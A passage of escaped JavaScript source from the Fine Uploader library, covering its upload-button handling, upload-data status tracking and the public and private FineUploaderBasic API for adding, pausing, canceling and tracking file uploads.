input.setAttribute(\"multiple\", \"\");\n            }\n\n            else {\n                if (isMultiple) {\n                    input.setAttribute(\"multiple\", \"\");\n                }\n                else {\n                    input.removeAttribute(\"multiple\");\n                }\n            }\n        },\n\n        setAcceptFiles: function(acceptFiles) {\n            if (acceptFiles !== options.acceptFiles) {\n                input.setAttribute(\"accept\", acceptFiles);\n            }\n        },\n\n        reset: function() {\n            if (input.parentNode) {\n                qq(input).remove();\n            }\n\n            qq(options.element).removeClass(options.focusClass);\n            input = null;\n            input = createInput();\n        }\n    });\n\n    input = createInput();\n};\n\nqq.UploadButton.BUTTON_ID_ATTR_NAME = \"qq-button-id\";\n","/*globals qq */\nqq.UploadData = function(uploaderProxy) {\n    \"use strict\";\n\n    var data = [],\n        byUuid = {},\n        byStatus = {},\n        byProxyGroupId = {},\n        byBatchId = {};\n\n    function getDataByIds(idOrIds) {\n        if (qq.isArray(idOrIds)) {\n            var entries = [];\n\n            qq.each(idOrIds, function(idx, id) {\n                entries.push(data[id]);\n            });\n\n            return entries;\n        }\n\n        return data[idOrIds];\n    }\n\n    function getDataByUuids(uuids) {\n        if (qq.isArray(uuids)) {\n            var entries = [];\n\n            qq.each(uuids, function(idx, uuid) {\n                entries.push(data[byUuid[uuid]]);\n            });\n\n            return entries;\n        }\n\n        return data[byUuid[uuids]];\n    }\n\n    function getDataByStatus(status) {\n        var statusResults = [],\n            statuses = [].concat(status);\n\n        qq.each(statuses, function(index, statusEnum) {\n            var statusResultIndexes = byStatus[statusEnum];\n\n            if (statusResultIndexes !== undefined) {\n                qq.each(statusResultIndexes, function(i, dataIndex) {\n                    statusResults.push(data[dataIndex]);\n                });\n            }\n        });\n\n        return statusResults;\n    }\n\n    qq.extend(this, {\n        /**\n         * Adds a new file to the data cache for tracking purposes.\n         *\n         * @param spec Data that describes this file.  Possible properties are:\n         *\n         * - uuid: Initial UUID for this file.\n         * - name: Initial name of this file.\n         * - size: Size of this file, omit if this cannot be determined\n         * - status: Initial `qq.status` for this file.  Omit for `qq.status.SUBMITTING`.\n         * - batchId: ID of the batch this file belongs to\n         * - proxyGroupId: ID of the proxy group associated with this file\n         *\n         * @returns {number} Internal ID for this file.\n         */\n        addFile: function(spec) {\n            var status = spec.status || qq.status.SUBMITTING,\n                id = data.push({\n                    name: spec.name,\n                    originalName: spec.name,\n                    uuid: spec.uuid,\n                    size: spec.size == null ? -1 : spec.size,\n                    status: status\n                }) - 1;\n\n            if (spec.batchId) {\n                data[id].batchId = spec.batchId;\n\n                if (byBatchId[spec.batchId] === undefined) {\n                    byBatchId[spec.batchId] = [];\n                }\n                byBatchId[spec.batchId].push(id);\n            }\n\n            if (spec.proxyGroupId) {\n                data[id].proxyGroupId = spec.proxyGroupId;\n\n                if (byProxyGroupId[spec.proxyGroupId] === undefined) {\n                    byProxyGroupId[spec.proxyGroupId] = [];\n                }\n                byProxyGroupId[spec.proxyGroupId].push(id);\n            }\n\n            data[id].id = id;\n            byUuid[spec.uuid] = id;\n\n            if (byStatus[status] === undefined) {\n                byStatus[status] = [];\n            }\n            byStatus[status].push(id);\n\n            uploaderProxy.onStatusChange(id, null, status);\n\n            return id;\n        },\n\n        retrieve: function(optionalFilter) {\n            if (qq.isObject(optionalFilter) && data.length)  {\n                if (optionalFilter.id !== undefined) {\n                    return getDataByIds(optionalFilter.id);\n                }\n\n                else if (optionalFilter.uuid !== undefined) {\n                    return getDataByUuids(optionalFilter.uuid);\n                }\n\n                else if (optionalFilter.status) {\n                    return getDataByStatus(optionalFilter.status);\n                }\n            }\n            else {\n                return qq.extend([], data, true);\n            }\n        },\n\n        reset: function() {\n            data = [];\n            byUuid = {};\n            byStatus = {};\n            byBatchId = {};\n        },\n\n        setStatus: function(id, newStatus) {\n            var oldStatus = data[id].status,\n                byStatusOldStatusIndex = qq.indexOf(byStatus[oldStatus], id);\n\n            byStatus[oldStatus].splice(byStatusOldStatusIndex, 1);\n\n            data[id].status = newStatus;\n\n            if (byStatus[newStatus] === undefined) {\n                byStatus[newStatus] = [];\n            }\n            byStatus[newStatus].push(id);\n\n            uploaderProxy.onStatusChange(id, oldStatus, newStatus);\n        },\n\n        uuidChanged: function(id, newUuid) {\n            var oldUuid = data[id].uuid;\n\n            data[id].uuid = newUuid;\n            byUuid[newUuid] = id;\n            delete byUuid[oldUuid];\n        },\n\n        updateName: function(id, newName) {\n            data[id].name = newName;\n        },\n\n        updateSize: function(id, newSize) {\n            data[id].size = newSize;\n        },\n\n        // Only applicable if this file has a parent that we may want to reference later.\n        setParentId: function(targetId, parentId) {\n            data[targetId].parentId = parentId;\n        },\n\n        getIdsInProxyGroup: function(id) {\n            var proxyGroupId = data[id].proxyGroupId;\n\n            if (proxyGroupId) {\n                return byProxyGroupId[proxyGroupId];\n            }\n            return [];\n        },\n\n        getIdsInBatch: function(id) {\n            var batchId = data[id].batchId;\n\n            return byBatchId[batchId];\n        }\n    });\n};\n\nqq.status = {\n    SUBMITTING: \"submitting\",\n    SUBMITTED: \"submitted\",\n    REJECTED: \"rejected\",\n    QUEUED: \"queued\",\n    CANCELED: \"canceled\",\n    PAUSED: \"paused\",\n    UPLOADING: \"uploading\",\n    UPLOAD_RETRYING: \"retrying upload\",\n    UPLOAD_SUCCESSFUL: \"upload successful\",\n    UPLOAD_FAILED: \"upload failed\",\n    DELETE_FAILED: \"delete failed\",\n    DELETING: \"deleting\",\n    DELETED: \"deleted\"\n};\n","/*globals qq*/\n/**\n * Defines the public API for FineUploaderBasic mode.\n */\n(function() {\n    \"use strict\";\n\n    qq.basePublicApi = {\n        // DEPRECATED - TODO REMOVE IN NEXT MAJOR RELEASE (replaced by addFiles)\n        addBlobs: function(blobDataOrArray, params, endpoint) {\n            this.addFiles(blobDataOrArray, params, endpoint);\n        },\n\n        addInitialFiles: function(cannedFileList) {\n            var self = this;\n\n            qq.each(cannedFileList, function(index, cannedFile) {\n                self._addCannedFile(cannedFile);\n            });\n        },\n\n        addFiles: function(data, params, endpoint) {\n            this._maybeHandleIos8SafariWorkaround();\n\n            var batchId = this._storedIds.length === 0 ? qq.getUniqueId() : this._currentBatchId,\n\n                processBlob = qq.bind(function(blob) {\n                    this._handleNewFile({\n                        blob: blob,\n                        name: this._options.blobs.defaultName\n                    }, batchId, verifiedFiles);\n                }, this),\n\n                processBlobData = qq.bind(function(blobData) {\n                    this._handleNewFile(blobData, batchId, verifiedFiles);\n                }, this),\n\n                processCanvas = qq.bind(function(canvas) {\n                    var blob = qq.canvasToBlob(canvas);\n\n                    this._handleNewFile({\n                        blob: blob,\n                        name: this._options.blobs.defaultName + \".png\"\n                    }, batchId, verifiedFiles);\n                }, this),\n\n                processCanvasData = qq.bind(function(canvasData) {\n                    var normalizedQuality = canvasData.quality && canvasData.quality / 100,\n                        blob = qq.canvasToBlob(canvasData.canvas, canvasData.type, normalizedQuality);\n\n                    this._handleNewFile({\n                        blob: blob,\n                        name: canvasData.name\n                    }, batchId, verifiedFiles);\n                }, this),\n\n                processFileOrInput = qq.bind(function(fileOrInput) {\n                    if (qq.isInput(fileOrInput) && qq.supportedFeatures.ajaxUploading) {\n                        var files = Array.prototype.slice.call(fileOrInput.files),\n                            self = this;\n\n                        qq.each(files, function(idx, file) {\n                            self._handleNewFile(file, batchId, verifiedFiles);\n                        });\n                    }\n                    else {\n                        this._handleNewFile(fileOrInput, batchId, verifiedFiles);\n                    }\n                }, this),\n\n                normalizeData = function() {\n                    if (qq.isFileList(data)) {\n                        data = Array.prototype.slice.call(data);\n                    }\n                    data = [].concat(data);\n                },\n\n                self = this,\n                verifiedFiles = [];\n\n            this._currentBatchId = batchId;\n\n            if (data) {\n                normalizeData();\n\n                qq.each(data, function(idx, fileContainer) {\n                    if (qq.isFileOrInput(fileContainer)) {\n                        processFileOrInput(fileContainer);\n                    }\n                    else if (qq.isBlob(fileContainer)) {\n                        processBlob(fileContainer);\n                    }\n                    else if (qq.isObject(fileContainer)) {\n                        if (fileContainer.blob && fileContainer.name) {\n                            processBlobData(fileContainer);\n                        }\n                        else if (fileContainer.canvas && fileContainer.name) {\n                            processCanvasData(fileContainer);\n                        }\n                    }\n                    else if (fileContainer.tagName && fileContainer.tagName.toLowerCase() === \"canvas\") {\n                        processCanvas(fileContainer);\n                    }\n                    else {\n                        self.log(fileContainer + \" is not a valid file container!  Ignoring!\", \"warn\");\n                    }\n                });\n\n                this.log(\"Received \" + verifiedFiles.length + \" files.\");\n                this._prepareItemsForUpload(verifiedFiles, params, endpoint);\n            }\n        },\n\n        cancel: function(id) {\n            this._handler.cancel(id);\n        },\n\n        cancelAll: function() {\n            var storedIdsCopy = [],\n                self = this;\n\n            qq.extend(storedIdsCopy, this._storedIds);\n            qq.each(storedIdsCopy, function(idx, storedFileId) {\n                self.cancel(storedFileId);\n            });\n\n            this._handler.cancelAll();\n        },\n\n        clearStoredFiles: function() {\n            this._storedIds = [];\n        },\n\n        continueUpload: function(id) {\n            var uploadData = this._uploadData.retrieve({id: id});\n\n            if (!qq.supportedFeatures.pause || !this._options.chunking.enabled) {\n                return false;\n            }\n\n            if (uploadData.status === qq.status.PAUSED) {\n                this.log(qq.format(\"Paused file ID {} ({}) will be continued.  Not paused.\", id, this.getName(id)));\n                this._uploadFile(id);\n                return true;\n            }\n            else {\n                this.log(qq.format(\"Ignoring continue for file ID {} ({}).  Not paused.\", id, this.getName(id)), \"error\");\n            }\n\n            return false;\n        },\n\n        deleteFile: function(id) {\n            return this._onSubmitDelete(id);\n        },\n\n        // TODO document?\n        doesExist: function(fileOrBlobId) {\n            return this._handler.isValid(fileOrBlobId);\n        },\n\n        // Generate a variable size thumbnail on an img or canvas,\n        // returning a promise that is fulfilled when the attempt completes.\n        // Thumbnail can either be based off of a URL for an image returned\n        // by the server in the upload response, or the associated `Blob`.\n        drawThumbnail: function(fileId, imgOrCanvas, maxSize, fromServer, customResizeFunction) {\n            var promiseToReturn = new qq.Promise(),\n                fileOrUrl, options;\n\n            if (this._imageGenerator) {\n                fileOrUrl = this._thumbnailUrls[fileId];\n                options = {\n                    customResizeFunction: customResizeFunction,\n                    maxSize: maxSize > 0 ? maxSize : null,\n                    scale: maxSize > 0\n                };\n\n                // If client-side preview generation is possible\n                // and we are not specifically looking for the image URl returned by the server...\n                if (!fromServer && qq.supportedFeatures.imagePreviews) {\n                    fileOrUrl = this.getFile(fileId);\n                }\n\n                /* jshint eqeqeq:false,eqnull:true */\n                if (fileOrUrl == null) {\n                    promiseToReturn.failure({container: imgOrCanvas, error: \"File or URL not found.\"});\n                }\n                else {\n                    this._imageGenerator.generate(fileOrUrl, imgOrCanvas, options).then(\n                        function success(modifiedContainer) {\n                            promiseToReturn.success(modifiedContainer);\n                        },\n\n                        function failure(container, reason) {\n                            promiseToReturn.failure({container: container, error: reason || \"Problem generating thumbnail\"});\n                        }\n                    );\n                }\n            }\n            else {\n                promiseToReturn.failure({container: imgOrCanvas, error: \"Missing image generator module\"});\n            }\n\n            return promiseToReturn;\n        },\n\n        getButton: function(fileId) {\n            return this._getButton(this._buttonIdsForFileIds[fileId]);\n        },\n\n        getEndpoint: function(fileId) {\n            return this._endpointStore.get(fileId);\n        },\n\n        getFile: function(fileOrBlobId) {\n            return this._handler.getFile(fileOrBlobId) || null;\n        },\n\n        getInProgress: function() {\n            return this._uploadData.retrieve({\n                status: [\n                    qq.status.UPLOADING,\n                    qq.status.UPLOAD_RETRYING,\n                    qq.status.QUEUED\n                ]\n            }).length;\n        },\n\n        getName: function(id) {\n            return this._uploadData.retrieve({id: id}).name;\n        },\n\n        // Parent ID for a specific file, or null if this is the parent, or if it has no parent.\n        getParentId: function(id) {\n            var uploadDataEntry = this.getUploads({id: id}),\n                parentId = null;\n\n            if (uploadDataEntry) {\n                if (uploadDataEntry.parentId !== undefined) {\n                    parentId = uploadDataEntry.parentId;\n                }\n            }\n\n            return parentId;\n        },\n\n        getResumableFilesData: function() {\n            return this._handler.getResumableFilesData();\n        },\n\n        getSize: function(id) {\n            return this._uploadData.retrieve({id: id}).size;\n        },\n\n        getNetUploads: function() {\n            return this._netUploaded;\n        },\n\n        getRemainingAllowedItems: function() {\n            var allowedItems = this._currentItemLimit;\n\n            if (allowedItems > 0) {\n                return allowedItems - this._netUploadedOrQueued;\n            }\n\n            return null;\n        },\n\n        getUploads: function(optionalFilter) {\n            return this._uploadData.retrieve(optionalFilter);\n        },\n\n        getUuid: function(id) {\n            return this._uploadData.retrieve({id: id}).uuid;\n        },\n\n        log: function(str, level) {\n            if (this._options.debug && (!level || level === \"info\")) {\n                qq.log(\"[Fine Uploader \" + qq.version + \"] \" + str);\n            }\n            else if (level && level !== \"info\") {\n                qq.log(\"[Fine Uploader \" + qq.version + \"] \" + str, level);\n\n            }\n        },\n\n        pauseUpload: function(id) {\n            var uploadData = this._uploadData.retrieve({id: id});\n\n            if (!qq.supportedFeatures.pause || !this._options.chunking.enabled) {\n                return false;\n            }\n\n            // Pause only really makes sense if the file is uploading or retrying\n            if (qq.indexOf([qq.status.UPLOADING, qq.status.UPLOAD_RETRYING], uploadData.status) >= 0) {\n                if (this._handler.pause(id)) {\n                    this._uploadData.setStatus(id, qq.status.PAUSED);\n                    return true;\n                }\n                else {\n                    this.log(qq.format(\"Unable to pause file ID {} ({}).\", id, this.getName(id)), \"error\");\n                }\n            }\n            else {\n                this.log(qq.format(\"Ignoring pause for file ID {} ({}).  Not in progress.\", id, this.getName(id)), \"error\");\n            }\n\n            return false;\n        },\n\n        reset: function() {\n            this.log(\"Resetting uploader...\");\n\n            this._handler.reset();\n            this._storedIds = [];\n            this._autoRetries = [];\n            this._retryTimeouts = [];\n            this._preventRetries = [];\n            this._thumbnailUrls = [];\n\n            qq.each(this._buttons, function(idx, button) {\n                button.reset();\n            });\n\n            this._paramsStore.reset();\n            this._endpointStore.reset();\n            this._netUploadedOrQueued = 0;\n            this._netUploaded = 0;\n            this._uploadData.reset();\n            this._buttonIdsForFileIds = [];\n\n            this._pasteHandler && this._pasteHandler.reset();\n            this._options.session.refreshOnReset && this._refreshSessionData();\n\n            this._succeededSinceLastAllComplete = [];\n            this._failedSinceLastAllComplete = [];\n\n            this._totalProgress && this._totalProgress.reset();\n        },\n\n        retry: function(id) {\n            return this._manualRetry(id);\n        },\n\n        scaleImage: function(id, specs) {\n            var self = this;\n\n            return qq.Scaler.prototype.scaleImage(id, specs, {\n                log: qq.bind(self.log, self),\n                getFile: qq.bind(self.getFile, self),\n                uploadData: self._uploadData\n            });\n        },\n\n        setCustomHeaders: function(headers, id) {\n            this._customHeadersStore.set(headers, id);\n        },\n\n        setDeleteFileCustomHeaders: function(headers, id) {\n            this._deleteFileCustomHeadersStore.set(headers, id);\n        },\n\n        setDeleteFileEndpoint: function(endpoint, id) {\n            this._deleteFileEndpointStore.set(endpoint, id);\n        },\n\n        setDeleteFileParams: function(params, id) {\n            this._deleteFileParamsStore.set(params, id);\n        },\n\n        // Re-sets the default endpoint, an endpoint for a specific file, or an endpoint for a specific button\n        setEndpoint: function(endpoint, id) {\n            this._endpointStore.set(endpoint, id);\n        },\n\n        setForm: function(elementOrId) {\n            this._updateFormSupportAndParams(elementOrId);\n        },\n\n        setItemLimit: function(newItemLimit) {\n            this._currentItemLimit = newItemLimit;\n        },\n\n        setName: function(id, newName) {\n            this._uploadData.updateName(id, newName);\n        },\n\n        setParams: function(params, id) {\n            this._paramsStore.set(params, id);\n        },\n\n        setUuid: function(id, newUuid) {\n            return this._uploadData.uuidChanged(id, newUuid);\n        },\n\n        uploadStoredFiles: function() {\n            if (this._storedIds.length === 0) {\n                this._itemError(\"noFilesError\");\n            }\n            else {\n                this._uploadStoredFiles();\n            }\n        }\n    };\n\n    /**\n     * Defines the private (internal) API for FineUploaderBasic mode.\n     */\n    qq.basePrivateApi = {\n        // Updates internal state with a file record (not backed by a live file).  Returns the assigned ID.\n        _addCannedFile: function(sessionData) {\n            var id = this._uploadData.addFile({\n                uuid: sessionData.uuid,\n                name: sessionData.name,\n                size: sessionData.size,\n                status: qq.status.UPLOAD_SUCCESSFUL\n            });\n\n            sessionData.deleteFileEndpoint && this.setDeleteFileEndpoint(sessionData.deleteFileEndpoint, id);\n            sessionData.deleteFileParams && this.setDeleteFileParams(sessionData.deleteFileParams, id);\n\n            if (sessionData.thumbnailUrl) {\n                this._thumbnailUrls[id] = sessionData.thumbnailUrl;\n            }\n\n            this._netUploaded++;\n            this._netUploadedOrQueued++;\n\n            return id;\n        },\n\n        _annotateWithButtonId: function(file, associatedInput) {\n            if (qq.isFile(file)) {\n                file.qqButtonId = this._getButtonId(associatedInput);\n            }\n        },\n\n        _batchError: function(message) {\n            this._options.callbacks.onError(null, null, message, undefined);\n        },\n\n        _createDeleteHandler: function() {\n            var self = this;\n\n            return new qq.DeleteFileAjaxRequester({\n                method: this._options.deleteFile.method.toUpperCase(),\n                maxConnections: this._options.maxConnections,\n                uuidParamName: this._options.request.uuidName,\n                customHeaders: this._deleteFileCustomHeadersStore,\n                paramsStore: this._deleteFileParamsStore,\n                endpointStore: this._deleteFileEndpointStore,\n                cors: this._options.cors,\n                log: qq.bind(self.log, self),\n                onDelete: function(id) {\n                    self._onDelete(id);\n                    self._options.callbacks.onDelete(id);\n                },\n                onDeleteComplete: function(id, xhrOrXdr, isError) {\n                    self._onDeleteComplete(id, xhrOrXdr, isError);\n                    self._options.callbacks.onDeleteComplete(id, xhrOrXdr, isError);\n                }\n\n            });\n        },\n\n        _createPasteHandler: function() {\n            var self = this;\n\n            return new qq.PasteSupport({\n                targetElement: this._options.paste.targetElement,\n                callbacks: {\n                    log: qq.bind(self.log, self),\n                    pasteReceived: function(blob) {\n                        self._handleCheckedCallback({\n                            name: \"onPasteReceived\",\n                            callback: qq.bind(self._options.callbacks.onPasteReceived, self, blob),\n                            onSuccess: qq.bind(self._handlePasteSuccess, self, blob),\n                            identifier: \"pasted image\"\n                        });\n                    }\n                }\n            });\n        },\n\n        _createStore: function(initialValue, _readOnlyValues_) {\n            var store = {},\n                catchall = initialValue,\n                perIdReadOnlyValues = {},\n                readOnlyValues = _readOnlyValues_,\n                copy = function(orig) {\n                    if (qq.isObject(orig)) {\n                        return qq.extend({}, orig);\n                    }\n                    return orig;\n                },\n                getReadOnlyValues = function() {\n                    if (qq.isFunction(readOnlyValues)) {\n                        return readOnlyValues();\n                    }\n                    return readOnlyValues;\n                },\n                includeReadOnlyValues = function(id, existing) {\n                    if (readOnlyValues && qq.isObject(existing)) {\n                        qq.extend(existing, getReadOnlyValues());\n                    }\n\n                    if (perIdReadOnlyValues[id]) {\n                        qq.extend(existing, perIdReadOnlyValues[id]);\n                    }\n                };\n\n            return {\n                set: function(val, id) {\n                    /*jshint eqeqeq: true, eqnull: true*/\n                    if (id == null) {\n                        store = {};\n                        catchall = copy(val);\n                    }\n                    else {\n                        store[id] = copy(val);\n                    }\n                },\n\n                get: function(id) {\n                    var values;\n\n                    /*jshint eqeqeq: true, eqnull: true*/\n                    if (id != null && store[id]) {\n                        values = store[id];\n                    }\n                    else {\n                        values = copy(catchall);\n                    }\n\n                    includeReadOnlyValues(id, values);\n\n                    return copy(values);\n                },\n\n                addReadOnly: function(id, values) {\n                    // Only applicable to Object stores\n                    if (qq.isObject(store)) {\n                        // If null ID, apply readonly values to all files\n                        if (id === null) {\n                            if (qq.isFunction(values)) {\n                                readOnlyValues = values;\n                            }\n                            else {\n                                readOnlyValues = readOnlyValues || {};\n                                qq.extend(readOnlyValues, values);\n                            }\n                        }\n                        else {\n                            perIdReadOnlyValues[id] = perIdReadOnlyValues[id] || {};\n                            qq.extend(perIdReadOnlyValues[id], values);\n                        }\n                    }\n                },\n\n                remove: function(fileId) {\n                    return delete store[fileId];\n                },\n\n                reset: function() {\n                    store = {};\n                    perIdReadOnlyValues = {};\n                    catchall = initialValue;\n                }\n            };\n        },\n\n        _createUploadDataTracker: function() {\n            var self = this;\n\n            return new qq.UploadData({\n                getName: function(id) {\n                    return self.getName(id);\n                },\n                getUuid: function(id) {\n                    return self.getUuid(id);\n                },\n                getSize: function(id) {\n                    return self.getSize(id);\n                },\n                onStatusChange: function(id, oldStatus, newStatus) {\n                    self._onUploadStatusChange(id, oldStatus, newStatus);\n                    self._options.callbacks.onStatusChange(id, oldStatus, newStatus);\n                    self._maybeAllComplete(id, newStatus);\n\n                    if (self._totalProgress) {\n                        setTimeout(function() {\n                            self._totalProgress.onStatusChange(id, oldStatus, newStatus);\n                        }, 0);\n                    }\n                }\n            });\n        },\n\n        /**\n         * Generate a tracked upload button.\n         *\n         * @param spec Object containing a required `element` property\n         * along with optional `multiple`, `accept`, and `folders`.\n         * @returns {qq.UploadButton}\n         * @private\n         */\n        _createUploadButton: function(spec) {\n            var self = this,\n                acceptFiles = spec.accept || this._options.validation.acceptFiles,\n                allowedExtensions = spec.allowedExtensions || this._options.validation.allowedExtensions,\n                button;\n\n            function allowMultiple() {\n                if (qq.supportedFeatures.ajaxUploading) {\n                    // Workaround for bug in iOS7+ (see #1039)\n                    if (self._options.workarounds.iosEmptyVideos &&\n                        qq.ios() &&\n                        !qq.ios6() &&\n                        self._isAllowedExtension(allowedExtensions, \".mov\")) {\n\n                        return false;\n                    }\n\n                    if (spec.multiple === undefined) {\n                        return self._options.multiple;\n                    }\n\n                    return spec.multiple;\n                }\n\n                return false;\n            }\n\n            button = new qq.UploadButton({\n                acceptFiles: acceptFiles,\n                element: spec.element,\n                focusClass: this._options.classes.buttonFocus,\n                folders: spec.folders,\n                hoverClass: this._options.classes.buttonHover,\n                ios8BrowserCrashWorkaround: this._options.workarounds.ios8BrowserCrash,\n                multiple: allowMultiple(),\n                name: this._options.request.inputName,\n                onChange: function(input) {\n                    self._onInputChange(input);\n                },\n                title: spec.title == null ? this._options.text.fileInputTitle : spec.title\n            });\n\n            this._disposeSupport.addDisposer(function() {\n                button.dispose();\n            });\n\n            self._buttons.push(button);\n\n            return button;\n        },\n\n        _createUploadHandler: function(additionalOptions, namespace) {\n            var self = this,\n                lastOnProgress = {},\n                options = {\n                    debug: this._options.debug,\n                    maxConnections: this._options.maxConnections,\n                    cors: this._options.cors,\n                    paramsStore: this._paramsStore,\n                    endpointStore: this._endpointStore,\n                    chunking: this._options.chunking,\n                    resume: this._options.resume,\n                    blobs: this._options.blobs,\n                    log: qq.bind(self.log, self),\n                    preventRetryParam: this._options.retry.preventRetryResponseProperty,\n                    onProgress: function(id, name, loaded, total) {\n                        if (loaded < 0 || total < 0) {\n                            return;\n                        }\n\n                        if (lastOnProgress[id]) {\n                            if (lastOnProgress[id].loaded !== loaded || lastOnProgress[id].total !== total) {\n                                self._onProgress(id, name, loaded, total);\n                                self._options.callbacks.onProgress(id, name, loaded, total);\n                            }\n                        }\n                        else {\n                            self._onProgress(id, name, loaded, total);\n                            self._options.callbacks.onProgress(id, name, loaded, total);\n                        }\n\n                        lastOnProgress[id] = {loaded: loaded, total: total};\n\n                    },\n                    onComplete: function(id, name, result, xhr) {\n                        delete lastOnProgress[id];\n\n                        var status = self.getUploads({id: id}).status,\n                            retVal;\n\n                        // This is to deal with some observed cases where the XHR readyStateChange handler is\n                        // invoked by the browser multiple times for the same XHR instance with the same state\n                        // readyState value.  Higher level: don't invoke complete-related code if we've already\n                        // done this.\n                        if (status === qq.status.UPLOAD_SUCCESSFUL || status === qq.status.UPLOAD_FAILED) {\n                            return;\n                        }\n\n                        retVal = self._onComplete(id, name, result, xhr);\n\n                        // If the internal `_onComplete` handler returns a promise, don't invoke the `onComplete` callback\n                        // until the promise has been fulfilled.\n                        if (retVal instanceof  qq.Promise) {\n                            retVal.done(function() {\n                                self._options.callbacks.onComplete(id, name, result, xhr);\n                            });\n                        }\n                        else {\n                            self._options.callbacks.onComplete(id, name, result, xhr);\n                        }\n                    },\n                    onCancel: function(id, name, cancelFinalizationEffort) {\n                        var promise = new qq.Promise();\n\n                        self._handleCheckedCallback({\n                            name: \"onCancel\",\n                            callback: qq.bind(self._options.callbacks.onCancel, self, id, name),\n                            onFailure: promise.failure,\n                            onSuccess: function() {\n                                cancelFinalizationEffort.then(function() {\n                                    self._onCancel(id, name);\n                                });\n\n                                promise.success();\n                            },\n                            identifier: id\n                        });\n\n                        return promise;\n                    },\n                    onUploadPrep: qq.bind(this._onUploadPrep, this),\n                    onUpload: function(id, name) {\n                        self._onUpload(id, name);\n                        self._options.callbacks.onUpload(id, name);\n                    },\n                    onUploadChunk: function(id, name, chunkData) {\n                        self._onUploadChunk(id, chunkData);\n                        self._options.callbacks.onUploadChunk(id, name, chunkData);\n                    },\n                    onUploadChunkSuccess: function(id, chunkData, result, xhr) {\n                        self._options.callbacks.onUploadChunkSuccess.apply(self, arguments);\n                    },\n                    onResume: function(id, name, chunkData) {\n                        return self._options.callbacks.onResume(id, name, chunkData);\n                    },\n                    onAutoRetry: function(id, name, responseJSON, xhr) {\n                        return self._onAutoRetry.apply(self, arguments);\n                    },\n                    onUuidChanged: function(id, newUuid) {\n                        self.log(\"Server requested UUID change from '\" + self.getUuid(id) + \"' to '\" + newUuid + \"'\");\n                        self.setUuid(id, newUuid);\n                    },\n                    getName: qq.bind(self.getName, self),\n                    getUuid: qq.bind(self.getUuid, self),\n                    getSize: qq.bind(self.getSize, self),\n                    setSize: qq.bind(self._setSize, self),\n                    getDataByUuid: function(uuid) {\n                        return self.getUploads({uuid: uuid});\n                    },\n                    isQueued: function(id) {\n                        var status = self.getUploads({id: id}).status;\n                        return status === qq.status.QUEUED ||\n                            status === qq.status.SUBMITTED ||\n                            status === qq.status.UPLOAD_RETRYING ||\n                            status === qq.status.PAUSED;\n                    },\n                    getIdsInProxyGroup: self._uploadData.getIdsInProxyGroup,\n                    getIdsInBatch: self._uploadData.getIdsInBatch\n                };\n\n            qq.each(this._options.request, function(prop, val) {\n                options[prop] = val;\n            });\n\n            options.customHeaders = this._customHeadersStore;\n\n            if (additionalOptions) {\n                qq.each(additionalOptions, function(key, val) {\n                    options[key] = val;\n                });\n            }\n\n            return new qq.UploadHandlerController(options, namespace);\n        },\n\n        _fileOrBlobRejected: function(id) {\n            this._netUploadedOrQueued--;\n            this._uploadData.setStatus(id, qq.status.REJECTED);\n        },\n\n        _formatSize: function(bytes) {\n            var i = -1;\n            do {\n                bytes = bytes / 1000;\n                i++;\n            } while (bytes > 999);\n\n            return Math.max(bytes, 0.1).toFixed(1) + this._options.text.sizeSymbols[i];\n        },\n\n        // Creates an internal object that tracks various properties of each extra button,\n        // and then actually creates the extra button.\n        _generateExtraButtonSpecs: function() {\n            var self = this;\n\n            this._extraButtonSpecs = {};\n\n            qq.each(this._options.extraButtons, function(idx, extraButtonOptionEntry) {\n                var multiple = extraButtonOptionEntry.multiple,\n                    validation = qq.extend({}, self._options.validation, true),\n                    extraButtonSpec = qq.extend({}, extraButtonOptionEntry);\n\n                if (multiple === undefined) {\n                    multiple = self._options.multiple;\n                }\n\n                if (extraButtonSpec.validation) {\n                    qq.extend(validation, extraButtonOptionEntry.validation, true);\n                }\n\n                qq.extend(extraButtonSpec, {\n                    multiple: multiple,\n                    validation: validation\n                }, true);\n\n                self._initExtraButton(extraButtonSpec);\n            });\n        },\n\n        _getButton: function(buttonId) {\n            var extraButtonsSpec = this._extraButtonSpecs[buttonId];\n\n            if (extraButtonsSpec) {\n                return extraButtonsSpec.element;\n            }\n            else if (buttonId === this._defaultButtonId) {\n                return this._options.button;\n            }\n        },\n\n        /**\n         * Gets the internally used tracking ID for a button.\n         *\n         * @param buttonOrFileInputOrFile `File`, `<input type=\"file\">`, or a button container element\n         * @returns {*} The button's ID, or undefined if no ID is recoverable\n         * @private\n         */\n        _getButtonId: function(buttonOrFileInputOrFile) {\n            var inputs, fileInput,\n                fileBlobOrInput = buttonOrFileInputOrFile;\n\n            // We want the reference file/blob here if this is a proxy (a file that will be generated on-demand later)\n            if (fileBlobOrInput instanceof qq.BlobProxy) {\n                fileBlobOrInput = fileBlobOrInput.referenceBlob;\n            }\n\n            // If the item is a `Blob` it will never be associated with a button or drop zone.\n            if (fileBlobOrInput && !qq.isBlob(fileBlobOrInput)) {\n                if (qq.isFile(fileBlobOrInput)) {\n                    return fileBlobOrInput.qqButtonId;\n                }\n                else if (fileBlobOrInput.tagName.toLowerCase() === \"input\" &&\n                    fileBlobOrInput.type.toLowerCase() === \"file\") {\n\n                    return fileBlobOrInput.getAttribute(qq.UploadButton.BUTTON_ID_ATTR_NAME);\n                }\n\n                inputs = fileBlobOrInput.getElementsByTagName(\"input\");\n\n                qq.each(inputs, function(idx, input) {\n                    if (input.getAttribute(\"type\") === \"file\") {\n                        fileInput = input;\n                        return false;\n                    }\n                });\n\n                if (fileInput) {\n                    return fileInput.getAttribute(qq.UploadButton.BUTTON_ID_ATTR_NAME);\n                }\n            }\n        },\n\n        _getNotFinished: function() {\n            return this._uploadData.retrieve({\n                status: [\n                    qq.status.UPLOADING,\n                    qq.status.UPLOAD_RETRYING,\n                    qq.status.QUEUED,\n                    qq.status.SUBMITTING,\n                    qq.status.SUBMITTED,\n                    qq.status.PAUSED\n                ]\n            }).length;\n        },\n\n        // Get the validation options for this button.  Could be the default validation option\n        // or a specific one assigned to this particular button.\n        _getValidationBase: function(buttonId) {\n            var extraButtonSpec = this._extraButtonSpecs[buttonId];\n\n            return extraButtonSpec ? extraButtonSpec.validation : this._options.validation;\n        },\n\n        _getValidationDescriptor: function(fileWrapper) {\n            if (fileWrapper.file instanceof qq.BlobProxy) {\n                return {\n                    name: qq.getFilename(fileWrapper.file.referenceBlob),\n                    size: fileWrapper.file.referenceBlob.size\n                };\n            }\n\n            return {\n                name: this.getUploads({id: fileWrapper.id}).name,\n                size: this.getUploads({id: fileWrapper.id}).size\n            };\n        },\n\n        _getValidationDescriptors: function(fileWrappers) {\n            var self = this,\n                